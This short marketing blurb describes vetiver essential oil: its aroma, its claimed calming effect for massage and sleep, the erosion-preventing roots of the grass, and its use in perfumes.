With a unique, exotic aroma, vetiver is known to provide a calming, grounding effect on emotions—making it ideal for massage therapy and promoting restful sleep.* Vetiver, a member of the grass family, is grown for many reasons. Unlike other grasses, the root system of vetiver grows down, making it ideal for helping to prevent erosion and providing soil stabilization. Vetiver has a rich, exotic, complex aroma that is used extensively in perfumes.
